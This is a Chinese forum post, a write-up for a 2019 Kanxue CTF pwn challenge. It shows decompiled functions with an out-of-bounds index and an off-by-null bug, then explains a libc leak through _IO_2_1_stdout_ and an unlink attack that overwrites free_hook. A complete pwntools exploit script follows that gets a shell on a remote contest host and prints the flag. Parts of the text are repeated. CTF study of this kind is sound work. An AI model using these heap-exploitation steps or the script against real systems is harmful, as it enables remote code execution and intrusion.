-
-
[原创]看雪CTF2019Q3第四题WP
-
发表于: 2019-9-25 18:23 6211
-
一、漏洞
存在2个漏洞点,都在编辑函数中
struct vmpInfo *__fastcall vmp_opcode_0x08_setCmpFlag(struct vmpInfo *result, unsigned int subValue, char size, __int16 a4)
{
result->global->cmpReg |= a4 & 1;
result->global->cmpReg |= a4 & 0x800;
if ( (signed int)subValue <= 0 || subValue >> (size - 1) )
{
if ( subValue )
{
result->global->cmpReg |= 0x80u; // 小于标志
result->global->cmpReg &= 0xFFFFFFBF;
}
else
{
result->global->cmpReg &= 0xFFFFFF7F;
result->global->cmpReg |= 0x40u; // 等于标志
}
}
else
{
result->global->cmpReg &= 0xFFFFFF7F;
result->global->cmpReg &= 0xFFFFFFBF;
}
if ( !(subValue & 1) )
result->global->cmpReg |= 4u;
result->global->cmpReg1 = result->global->cmpReg;
return result;
}1、 漏洞点1:没有对输入的索引进行范围判断,造成数组越界
2、在对BUF写入是存在0字节溢出漏洞,多写一个0到堆中。
char *__fastcall readBuf(char *buf, int size)
{
char *result; // rax
int i; // [rsp+1Ch] [rbp-14h]
char s; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 8uLL);
for ( i = 0; i < size; ++i )
{
if ( read(0, &s, 1uLL) <= 0 )
exit(1);
if ( s == 0xA )
break;
buf[i] = s;
}
result = (char *)(unsigned int)i;
if ( i == size )
{
result = &buf[i];
*result = 0;
}
return result;
}二、漏洞利用
1、可以使用漏洞1进行打印出libc以及exe基址: 利用具体利用的是 _IO_2_1_stdout_。
输入索引-6后可以更改
_IO_2_1_stdout_ 的内容。漏洞具体利用参考:利用 _IO_2_1_stdout_ 泄露信息
2、0字节溢出漏洞即为 off-by-one漏洞,具体参见:off by null漏洞getshell示例
三、获取shell
1、首先
_IO_2_1_stdout_利用它可以打印出libc地址
2、由于程序hook了 malloc_hook与free_hook,因此在libc中存在exe的函数,将其打印出来既可以获取exe基址
3、申请5个0xF8大小chunk
4、编辑3号内存,输入如下数据,并造成溢出,更改4号chunk的pre_used标志位0
ayload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0)
其中thunk_ptr = pwn_base + globalVar_offset + 0x38
5、删除4号内存
使得3号内存数组指针执行2号内存地址
6、编辑3号内存,使得2号内存指向想要写的地址,就可以实现任意地址写。
三脚本
#!/usr/bin/python
# coding:utf-8
from pwn import *
from zio import *
#context(log_level='debug')
__malloc_hook_ptr_offset = 0x3C3EF0
libc_base = 0
system_offset = 0x45390
freehookBk_offset = 0x202058
globalVar_offset = 0x202080
def menu(cmd):
io.sendlineafter("4.quit",str(cmd))
def add(size):
menu(1)
io.sendlineafter("Input size : ",str(size))
def delete(index):
menu(2)
io.sendlineafter("Input idx : ",str(index))
def edit(index,data):
menu(3)
io.sendlineafter("Input idx : ",str(index))
io.sendlineafter("Input text : ",data)
if __name__ == '__main__' :
#io = process('./pwn')
io = remote('154.8.174.214', 10001)
#get libcBase
edit(-6, p64(0xfbad1800)+p64(0x0)*3+'\x60')
data = u64(io.recv(6).ljust(8,'\x00'))
libc_base = data - 0x3C56A4
print 'libc_base = '+ str(hex(libc_base))
system_addr = libc_base + system_offset
print 'system_addr = '+ str(hex(system_addr))
#get pwn base
__malloc_hook_ptr = libc_base + __malloc_hook_ptr_offset
print '__malloc_hook_ptr = ' + str(hex(__malloc_hook_ptr))
edit(-6, p64(0xfbad1800)+p64(0x0)*3+ p64(__malloc_hook_ptr))
pwn_malloc_hook_ptr = u64(io.recv(6).ljust(8,'\x00'))
print 'pwn_malloc_hook_ptr = '+ str(hex(pwn_malloc_hook_ptr))
pwn_base = pwn_malloc_hook_ptr - 0x202020
print 'pwn_base = '+ str(hex(pwn_base))
thunk_ptr = pwn_base + globalVar_offset + 0x38
feehookBk_addr = pwn_base + freehookBk_offset
print 'thunk_ptr = '+ str(hex(thunk_ptr))
print 'feehookBk_addr = '+ str(hex(feehookBk_addr))
add(248)
add(248)
add(248)
add(248)
add(248)
add(248)
print 'add ok'
payload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0)
edit(3, payload)
print 'delete 4'
delete(4)
payload = p64(0xF8) + p64(feehookBk_addr)
edit(3, payload)
print 'feehookBk_addr ok'
payload = p64(system_addr)
edit(2, payload)
print 'system call ok'
edit(1, '/bin/sh\x00')
print 'shell bin'
delete(1)
print 'get shell'
io.interactive()
#gdb.attach(proc.pidof(io)[0])
print 'pause...'
四: flag = flag{4ca9ae5d7c835994cc62d34f92ef95ce}
struct vmpInfo *__fastcall vmp_opcode_0x08_setCmpFlag(struct vmpInfo *result, unsigned int subValue, char size, __int16 a4)
{
result->global->cmpReg |= a4 & 1;
result->global->cmpReg |= a4 & 0x800;
if ( (signed int)subValue <= 0 || subValue >> (size - 1) )
{
if ( subValue )
{
result->global->cmpReg |= 0x80u; // 小于标志
result->global->cmpReg &= 0xFFFFFFBF;
}
else
{
result->global->cmpReg &= 0xFFFFFF7F;
result->global->cmpReg |= 0x40u; // 等于标志
}
}
else
{
result->global->cmpReg &= 0xFFFFFF7F;
result->global->cmpReg &= 0xFFFFFFBF;
}
if ( !(subValue & 1) )
result->global->cmpReg |= 4u;
result->global->cmpReg1 = result->global->cmpReg;
return result;
}1、 漏洞点1:没有对输入的索引进行范围判断,造成数组越界
2、在对BUF写入是存在0字节溢出漏洞,多写一个0到堆中。
char *__fastcall readBuf(char *buf, int size)
{
char *result; // rax
int i; // [rsp+1Ch] [rbp-14h]
char s; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 8uLL);
for ( i = 0; i < size; ++i )
{
if ( read(0, &s, 1uLL) <= 0 )
exit(1);
if ( s == 0xA )
break;
buf[i] = s;
}
result = (char *)(unsigned int)i;
if ( i == size )
{
result = &buf[i];
*result = 0;
}
return result;
}二、漏洞利用
char *__fastcall readBuf(char *buf, int size)
{
char *result; // rax
int i; // [rsp+1Ch] [rbp-14h]
char s; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 8uLL);
for ( i = 0; i < size; ++i )
{
if ( read(0, &s, 1uLL) <= 0 )
exit(1);
if ( s == 0xA )
break;
buf[i] = s;
}
result = (char *)(unsigned int)i;
if ( i == size )
{
result = &buf[i];
*result = 0;
}
return result;
}二、漏洞利用
1、可以使用漏洞1进行打印出libc以及exe基址: 利用具体利用的是 _IO_2_1_stdout_。
输入索引-6后可以更改
_IO_2_1_stdout_ 的内容。漏洞具体利用参考:利用 _IO_2_1_stdout_ 泄露信息
2、0字节溢出漏洞即为 off-by-one漏洞,具体参见:off by null漏洞getshell示例
三、获取shell
1、首先
_IO_2_1_stdout_利用它可以打印出libc地址
2、由于程序hook了 malloc_hook与free_hook,因此在libc中存在exe的函数,将其打印出来既可以获取exe基址
3、申请5个0xF8大小chunk
4、编辑3号内存,输入如下数据,并造成溢出,更改4号chunk的pre_used标志位0
[培训]科锐软件逆向54期预科班、正式班开始火爆招生报名啦!!!
赞赏
他的文章
- 看雪CTF 2019总决赛 第六题 三道八佛 IDA脱壳脚本 5965
- [原创]看雪CTF2019Q3第四题WP 6212
- [原创]看雪CTF2019Q3 第二题WP 7174
- [2019看雪CTF晋级赛Q3第九题WP 12953
- [原创]看雪CTF2019晋级赛Q2第三题 5293
赞赏
雪币:
留言: